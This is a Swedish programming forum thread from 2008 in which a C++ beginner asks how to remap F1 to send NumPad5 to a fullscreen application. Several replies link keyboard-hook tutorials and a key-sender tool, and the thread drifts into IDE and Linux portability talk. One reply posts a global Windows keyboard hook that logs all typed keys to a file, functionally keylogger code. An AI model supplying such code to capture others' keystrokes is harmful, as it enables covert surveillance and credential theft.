2008-02-22, 00:03
  #1
Medlem
Hejsan. Jag har stllt en liknande frga i .net men tnkte nu se om man skulle kunna gra detta i c++ istllet.

Vad jag vill gra r att nr jag t.ex. trycker F1 skall NumPad5 skickas ist.
Detta skall inte skickas internt i applikationen utan skall skickas till en fullskrms applikation som d r mitt aktiva fnster.
Vnligen notera att jag i princip r extrem nybrjare p c++ s om ni skulle kunna beskriva det s jag fattar skulle det vara underbart

Tack p frhand.
Citera
2008-02-22, 01:08
  #2
Medlem
nops avatar
Citat:
Ursprungligen postat av Logz
Hejsan. Jag har stllt en liknande frga i .net men tnkte nu se om man skulle kunna gra detta i c++ istllet.

Vad jag vill gra r att nr jag t.ex. trycker F1 skall NumPad5 skickas ist.
Detta skall inte skickas internt i applikationen utan skall skickas till en fullskrms applikation som d r mitt aktiva fnster.
Vnligen notera att jag i princip r extrem nybrjare p c++ s om ni skulle kunna beskriva det s jag fattar skulle det vara underbart

Tack p frhand.

Exempel:


Kod:
LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(int nCode,WPARAM wParam, 
                            LPARAM lParam)
{
    char ch;            
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {        
        if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
        {
            f1=fopen("c:\\report.txt","a+");
            if (wParam==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                   BYTE ks[256];
                GetKeyboardState(ks);

                WORD w;
                UINT scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch = char(w); 
                fwrite(&ch,1,1,f1);
            }
        fclose(f1);
        }
    }

    LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
    return  RetVal;
}

Kod:
BOOL __declspec(dllexport)__stdcall installhook()
{
    f1=fopen("c:\\report.txt","w");
    fclose(f1);
    hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);

    return TRUE;
}
Citera
2008-02-22, 01:12
  #3
Medlem
nops avatar
Keyb hook tutorial som kanske kan vara till nytta?
http://www.ragestorm.net/tutorial?id=10

Vldigt ingende/tydliga frklaringar.
Citera
2008-02-22, 14:34
  #4
Medlem
lill-mes avatar
Det hr kanske r ngot? En guide p svenska om hur man skapar keybordhooks.

http://www.cout.se/forum/guider/260-...oard-hook.html
Citera
2008-02-22, 18:55
  #5
Medlem
Citat:
Ursprungligen postat av lill-me
Det hr kanske r ngot? En guide p svenska om hur man skapar keybordhooks.

http://www.cout.se/forum/guider/260-...oard-hook.html
Detta kanske r lite fr avancerat fr mig n
Citera
2008-02-22, 20:58
  #6
Medlem
Citat:
Ursprungligen postat av Logz
Vnligen notera att jag i princip r extrem nybrjare p c++ s om ni skulle kunna beskriva det s jag fattar skulle det vara underbart


D tycker jag du ska lsa p lite regular C++ frst innan du ger dig p WinAPI, som jag antar r vad du fiskar efter.
Citera
2008-02-22, 22:24
  #7
Medlem
PerFnurts avatar
http://www.codeproject.com/KB/cpp/se...p_Article.aspx

Gjorde ett litet prog. som anvnder ovanstende. Finns hr (inkl kllkod):
http://www.perfnurt.se/keysender.asp
Citera
2008-02-23, 01:45
  #8
Medlem
Citat:
Ursprungligen postat av PerFnurt
http://www.codeproject.com/KB/cpp/se...p_Article.aspx

Gjorde ett litet prog. som anvnder ovanstende. Finns hr (inkl kllkod):
http://www.perfnurt.se/keysender.asp
Vldigt vackert. Men varfr arbetar alla i Visual C++? r det bara dumt att anvnda typ DevCpp?
Citera
2008-02-23, 05:34
  #9
Medlem
Citat:
Ursprungligen postat av Logz
Vldigt vackert. Men varfr arbetar alla i Visual C++? r det bara dumt att anvnda typ DevCpp?

Antar att du tnker p MSVS (Microsoft Visual Studio) nr du sger s, d de kallar hela sviten fr det nu.

Jag brjade sjlv med Devcpp, och anvnder den fortfarande om det bara r ngon liten skitkod jag ska kompilera, men nr du vl satt dig in i MSVS kommer du nog att hlla fast vid det. Otroligt mktigt.
Citera
2008-02-23, 12:32
  #10
Medlem
Citat:
Ursprungligen postat av qix
Antar att du tnker p MSVS (Microsoft Visual Studio) nr du sger s, d de kallar hela sviten fr det nu.

Jag brjade sjlv med Devcpp, och anvnder den fortfarande om det bara r ngon liten skitkod jag ska kompilera, men nr du vl satt dig in i MSVS kommer du nog att hlla fast vid det. Otroligt mktigt.
Man man kra program gjorda i MSVS i Linux? Inte fr att jag ska det men nd, krms frameworket?
Citera
2008-02-23, 13:16
  #11
Medlem
nudieses avatar
Citat:
Ursprungligen postat av Logz
Man man kra program gjorda i MSVS i Linux? Inte fr att jag ska det men nd, krms frameworket?

Visual Studio r ett IDE, inte ett framework.
Det gr alldeles utmrkt att koda vanilj-C++ i VS. P samma stt som du kan koda i Managed C++ i .Net med Notepad.

Men brjar du inkludera massa plattformsspecifika grejor fr Windows s r det ju klart att du inte kan p ett enkelt stt porta det till Linux.
Citera
2008-02-23, 21:41
  #12
Medlem
PerFnurts avatar
Citat:
Ursprungligen postat av Logz
Man man kra program gjorda i MSVS i Linux? Inte fr att jag ska det men nd, krms frameworket?

Du kan koda precis vad du vill, men du behver ju frsts en kompilator fr din specifika platform (finns ju inte endast en linux version direkt), och har man ambitionen kan man ju designa koden s den r platformsoberoande och anvnda ramverk som kan hjlpa till med det, t.e.x Poco (www.appinf.com)

Just programmet jag lnkar till ovan har inga sdana ambitioner, r bara testat i/skrivet fr windows milj.

Men jag jobbar f.n. med c++ kod som kompileras i 4 olika miljer:
1. Windows XP/Vista
2. 32 bitars Linux (PC)
3. 64 bitas linux (PC)
4. 32 bitars Linux (ARM9)

Utvecklingmiljn i windows r MSVS, i Linux eclipse - men kodbasen r samma.

S visst gr det...
__________________
Senast redigerad av PerFnurt 2008-02-23 kl. 21:43.
Citera

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in